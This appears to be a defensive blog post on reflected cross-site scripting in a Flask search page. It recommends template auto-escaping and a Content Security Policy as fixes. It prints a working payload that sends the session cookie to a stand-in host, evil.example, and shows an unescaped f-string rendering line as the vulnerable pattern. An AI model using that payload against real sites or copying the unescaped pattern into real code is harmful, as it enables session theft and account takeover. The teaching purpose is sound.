
one script tag in a search box can steal the session cookie
return render_template('search.html', q=q)the search box that hands out cookies
picture a plain search box on your site. someone types something weird instead of a normal query, hits enter, and now their browser is running code that was never part of your app. that's cross site scripting, xss for short, and it's one of the oldest tricks in the book because it's still one of the easiest mistakes to make. this post walks through why it happens, what it actually does, and how you shut the door on it for good.
the bug, in plain english
a lot of xss comes down to one bad habit: taking whatever a user typed and stuffing it directly into the html the server sends back, with zero cleanup. something like this:
return f'<p>Results for: {q}</p>' # never do this
if someone searches for a normal word like "shoes," you get "results for: shoes." harmless. but if someone searches for <script>document.location='https://evil.example/steal?c='+document.cookie</script>, the browser doesn't know that's supposed to be text. it just sees a script tag in the page and runs it. that script can grab the session cookie for the account currently logged in and send it off to wherever the attacker wants. now they can log in as that person without ever knowing their password.
the important thing to understand as a defender: the browser trusts whatever html your server sends. it has no idea some of it came from a stranger typing into a form. if your code mixes that untrusted input directly into the page, you've basically handed the browser a script written by someone you've never met and told it to run.
the fix: escape everything by default
the fix is not "sanitize the bad words." attackers have infinite ways to phrase malicious input. the real fix is to never treat user input as html in the first place. that's what templating engines are for:
return render_template('search.html', q=q)
and inside search.html:
<p>Results for: {{ q }}</p>
this looks almost identical to the broken version but it's a completely different behavior. jinja (the templating engine behind flask, and similar engines exist for basically every framework) automatically escapes anything you drop into double curly braces. so that same malicious search turns into harmless text on the page: <script>...</script> printed literally as characters, not executed as code. the browser sees text that looks like a script tag, shrugs, and displays it. no cookie theft, just an ugly search result.
the takeaway from this section: use your framework's templating and let it escape by default. the moment you start building html strings by hand with f-strings or string concatenation, you've opened the door back up.
the net: content security policy
escaping input is the main fix, but good defenders add a second layer in case something slips through, a plugin, a third party widget, a dev who forgot the rule six months from now. that layer is a content security policy, a response header that tells the browser exactly what it's allowed to run:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";
this tells the browser "only run scripts that come from my own domain, ignore anything inline or from random third party sources." even if an attacker manages to inject a script tag into your page, the browser refuses to execute it because it didn't come from an approved source. it's the seatbelt for when the first fix has a gap.
how to check your own site
go find every place your app takes user input and reflects it back on a page: search boxes, comment sections, url parameters, profile fields. grep your codebase for raw string formatting into html responses, f-strings, string concatenation, anything that isn't going through your template engine's auto escaping. test a harmless probe like typing a stray angle bracket into a search box and view the page source to see if it got escaped or if it shows up as a live tag.
the takeaway
xss isn't some exotic attack, it's what happens when user input and html get mixed together without a boundary between them. fix it at the source by always rendering through a template engine that escapes by default, never build html with raw string formatting, and back it up with a content security policy so even a missed spot doesn't turn into a working attack. check your own forms today, it takes ten minutes and it closes one of the most common holes on the internet.